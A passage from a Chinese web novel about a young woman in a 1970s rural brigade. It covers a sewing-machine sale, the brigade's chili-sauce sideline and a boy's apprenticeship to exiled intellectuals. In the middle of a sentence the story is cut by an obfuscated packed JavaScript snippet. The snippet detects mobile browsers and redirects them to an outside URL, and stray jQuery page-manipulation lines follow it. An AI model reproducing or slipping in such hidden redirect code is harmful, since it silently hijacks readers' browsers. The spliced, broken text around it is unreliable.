缝纫机太重,凭林见春自己是没办法搬动的。
面对方哥和牛虻子震惊的表情,林见春只能尴尬一笑,“帮人卖的,如果方哥想要,我改天让人送到八旗街街口再通知方哥。”
方哥来者不拒,当即点头说行。
“熊猫牌110,凤凰牌120。”
林见春“签到”的这一台是熊猫牌的,供销社卖85块一台,这个价格确实算得不错了。
“好,那我改天再联系方哥。”
从八旗街出来,林见春身上就只剩2块9的现钱了,没钱再到处闲看,只能戴好手套、围巾蒙脸蹬着自行车朝大队赶。
今天送去公社的400斤剁椒酱顺利交付给所有人都打了一剂强心针,尤其720元的收益,均摊到46户也有十好几块了。
当然,这笔钱最后还是加入公账年底一起合算公分再发的,但一次720,十次就是7200!
他们东旺大队一共183人,除开孩子,能挣工分的也有115人,平均一个人一年能有1600工分,往年这工分1分只能能分到1毛钱,大队拿不出钱就用粮食抵,最后一个人能到手50块钱就算好的。
要是每个月都能挣回来720块,一年就是8640元,均摊到工分,他们大队的劳力一年也能多个七十几块的收入!
这可以能直接分的现钱!
而且这还只是剁椒酱的收入!他们大队还可以做豆瓣酱!到时候又是一人几十块!分下来家家都能攒上百的现钱!
东旺会算账的社员不少,心中有账本,脸上的表情自然藏不住,其他不会算账的也高兴,因为不管多少,这些钱都是有他们一分的,那可是实实在在的收入!
见他们这样,牛队长直接站出来泼冷水。
“这些钱得年底核算,交20%到公社去,具体能分多少也得等副食品站那边这一批卖得怎么样才晓得。”
那咋呢?少掉20%那也还有五六十块,不比他们整年在地里忙活挣得多?
都是现钱!
“行,这个月也没几天了,等这一批酱的行情出来了再定下个月要做多少。”
出主力的婶子阿婆却不干了。
她们可是10天挣来了720,这白白浪费7天时间已经够着急了,怎么月底还剩几天也不给干呢?
“大队长!不是还要弄豆瓣吗?”
“就是!咱们做的酱什么口味大家可是清楚的,要我说就是省城的人也乐意花钱买!”
“队长也太小心了!几百斤的事儿,做出来没人要咱自己也吃得完。”
“……”
别说,400斤分摊到各家也才8、9块钱的事,大不了年底工分核算,分的粮少点,给一家添点儿卖不掉的酱就成。
不过这几天公社卖货的情况还是得注意,最好双管齐下。
“那还是按一天40斤的量做着,30斤辣椒、10斤油,豆瓣儿也跟着弄,先把霉豆子腌上,就按一批400斤的规格来,具体需要多少油盐糖酒,徐三姐列个单子,明天再去公社拉。”
豆瓣酱虽然多了一样胡豆的消耗,但相应的辣椒用不了那么多,算下来成本大差不差。
“辣椒和胡豆、姜蒜不够了就去其他大队收。”
有公社的批条,完全可以接合作社的名义跟其他大队打交道,这也算是给其他大队创收,只要那些大队的队长和村长脑子没泡,那指定不能拒绝。
事情定下,婶子阿婆们就继续发展副业了。
之后几天,大队有不少闲下来的人往公社跑,早上去、晚上回,带回来的无疑都是好消息。
400斤剁椒酱只算小量副食品,副食品站不会费劲巴拉往外地运,所以这400斤全都供给了国营饭店和供销社。
国营饭店大部分社员是舍不得去的,所以大家去公社都是在供销社蹲着。
供销社卖酱是用小陶罐装,一坛卖4块,带一个薄壁罐子才有2斤重,关键买的人还不少!
也有自己带罐子来打散装酱的,1斤算2块,比直接买罐装的划算。
牛队长可是说过副食品站给的收购价的,一斤才1块8,也就是说,副食品站转一手就能赚到好几十!
在公社看了行情,回到大队自然好一通宣传。
这些都跟林见春没多大关系了,她只知道自己给大队想到了挣钱的办法,所以请起假来也是毫无心理负担了。
冬天就适合猫冬。
徐三婶每天下午都得忙合作社的工作,小宝就得想办法安排了。
林见春抽了个晚上跟徐三婶提了下找人教小宝的事,徐三婶倒是没什么意见,只是她忙来忙去,也没空给小宝备拜师礼。
“不然等我把这几天忙完,拜师礼得去供销社买。”
早几年拜师是送米面糖肉,徐三婶打算就按这个规格来备10斤米、5斤面、2斤糖和1斤肉。
“不用这么麻烦!我这儿有饼干和奶糖,大哥大嫂寄过来的果干也还剩1斤,之前买的米面也没吃完存在屋里,婶子直接带过去就行,肉就不带了,牛棚那边吃肉有些打眼。”
大队的人日子过得不算太差,但肉一年到头也吃不了几回,牛棚那边的人挣了工分也只能换粮,根本没收入,叫人发觉有肉吃就不好了。
徐三婶怎么好意思。
“家里都是粗粮,米面大多是你的补贴粮和你去外头买回来的,我和小宝平时吃着已经占大便宜了,怎么好再从你那儿拿东西给小宝拜师去。”
林见春呲着牙笑,“小宝叫我一声姨,我也把他当亲侄子,这点东西还真不值当什么!”
她又不能说那些东西大多是白得的,也就果干是大哥大嫂真金白眼买了寄过来的。
不容徐三婶再推,林见春直接回屋里整理出来了一堆东西。
10斤大米,20斤粗粮,20颗奶糖、30颗硬糖混装的糖袋子,2支笔,2个本子,2块肥皂,再就是最后的1盒饼干和1斤果干。
这些东西也就粮食有些打眼,其他东西往背篓里一放基本看不出来,除非有那不长眼的非得扒着背篓翻。
“……”
徐三婶难以言语,抓着衣角直抠。
可看了看小宝懵懂的眼神,再看林见春摆到她面前、小宝写着字的本子,徐三婶还是叹着气把装了东西的背篓接过了手。
但白收也不好,徐三婶直接把之前林见春给她的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17061585|193831||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那10块钱还给了她。
“再说是侄子也没白出力的。”
林见春没推,直接收了。
大不了过年再以压缩钱的形式给回去。
林见春是准备找凤于飞和杨谯两位来教小宝的,但小宝记忆力好,现在已经记住了大半本《本草经》,连常见药植的功效也能背一部分,光学简单的语文、数学好像有点埋没了。
徐三婶倒是没什么别的想法,在她看来本事都是慢慢学的,小宝会背书不代表以后就会照着书救人,什么药对什么症,里头多的是学问,小宝现在还小,先学字,以后不管学不学医都有用。
两人一路讨论到牛棚外,等进了牛棚,才把选择摆在小宝面前。
当然,现在的小宝不明白,都是学习,两者之间又有什么区别,凭着直觉,他背了一段《本草经》的内容,然后双眼亮晶晶的等着大人决定。
“看来小宝是想跟着陶医生学医呀。”
“这么小的孩子就知道自己喜欢什么了,看着天赋也不错,小陶就给带着吧,平时我们空了也能教语文、算术,三门一起学。”
“是啊,咱们五个都是读了书的,带一个孩子而已,怎么也能教成才。”
几个老人心态好,陶文斌却考虑得更长远。
“小宝心性未定,我在中医这方面也不精通,只能先教着,等将来有机会了再看他学中医还是西医,如果要学中医,再想办法给他找个中医方面的老师。”
徐三婶当然没有意见。
“谢谢!谢谢!这都是小宝的造化!”
送一份拜师礼却收获了5个老师,饶是徐三婶也激动得眼眶发红,搓了搓才没让眼泪掉下来。
林见春乐见其成。
现在整个大队都忙着搞副业,本就不会轻易为难下放份子的社员更没精力来牛棚找麻烦,说不定到时候GWH的人下来检查,他们还不耐心应付呢!
她这几个月可是跟牛棚这边的人建立了良好关系的。
到时候徐三婶去合作社上工,她就把小宝送过来给他师傅陶文斌看着,自己安心窝在屋里学自己的,简直两全其美!
拜师的事儿就这么成了。
徐三婶带着小宝先回了家,林见春落后了些,问起了牛棚这段时间的收获。
“我这个把月没上山,也没往你们这儿来,不知道你们有没有攒下东西?要不要帮你们带出去换成粮?”
陶兴“摘帽子”之后,牛棚这边的压力小了很多,陶文斌不用照顾老师,平时上山的时间也多了,所以一个月攒下的东西比之前都多。
“现在蒲公英才2斤,积雪草有3斤,还有点土大黄,折耳根和野菊花也弄了点,这两样不好卖,自己吃还不错,明天我整理出来,你晚上过来拿。”
野菊花可以泡水,折耳根却可以当菜吃。
林见春摆了摆手,“我不要,你们留着吧。”
大冬天的泡野菊花不合适,折耳根她也不喜欢,而且这东西不经折腾,也没法寄回去给爸和三哥吃。
陶文斌有些失望,不过也没逼着林见春接受。
“好,我们再攒攒,过年前再麻烦你帮忙跑一趟。”
“行。”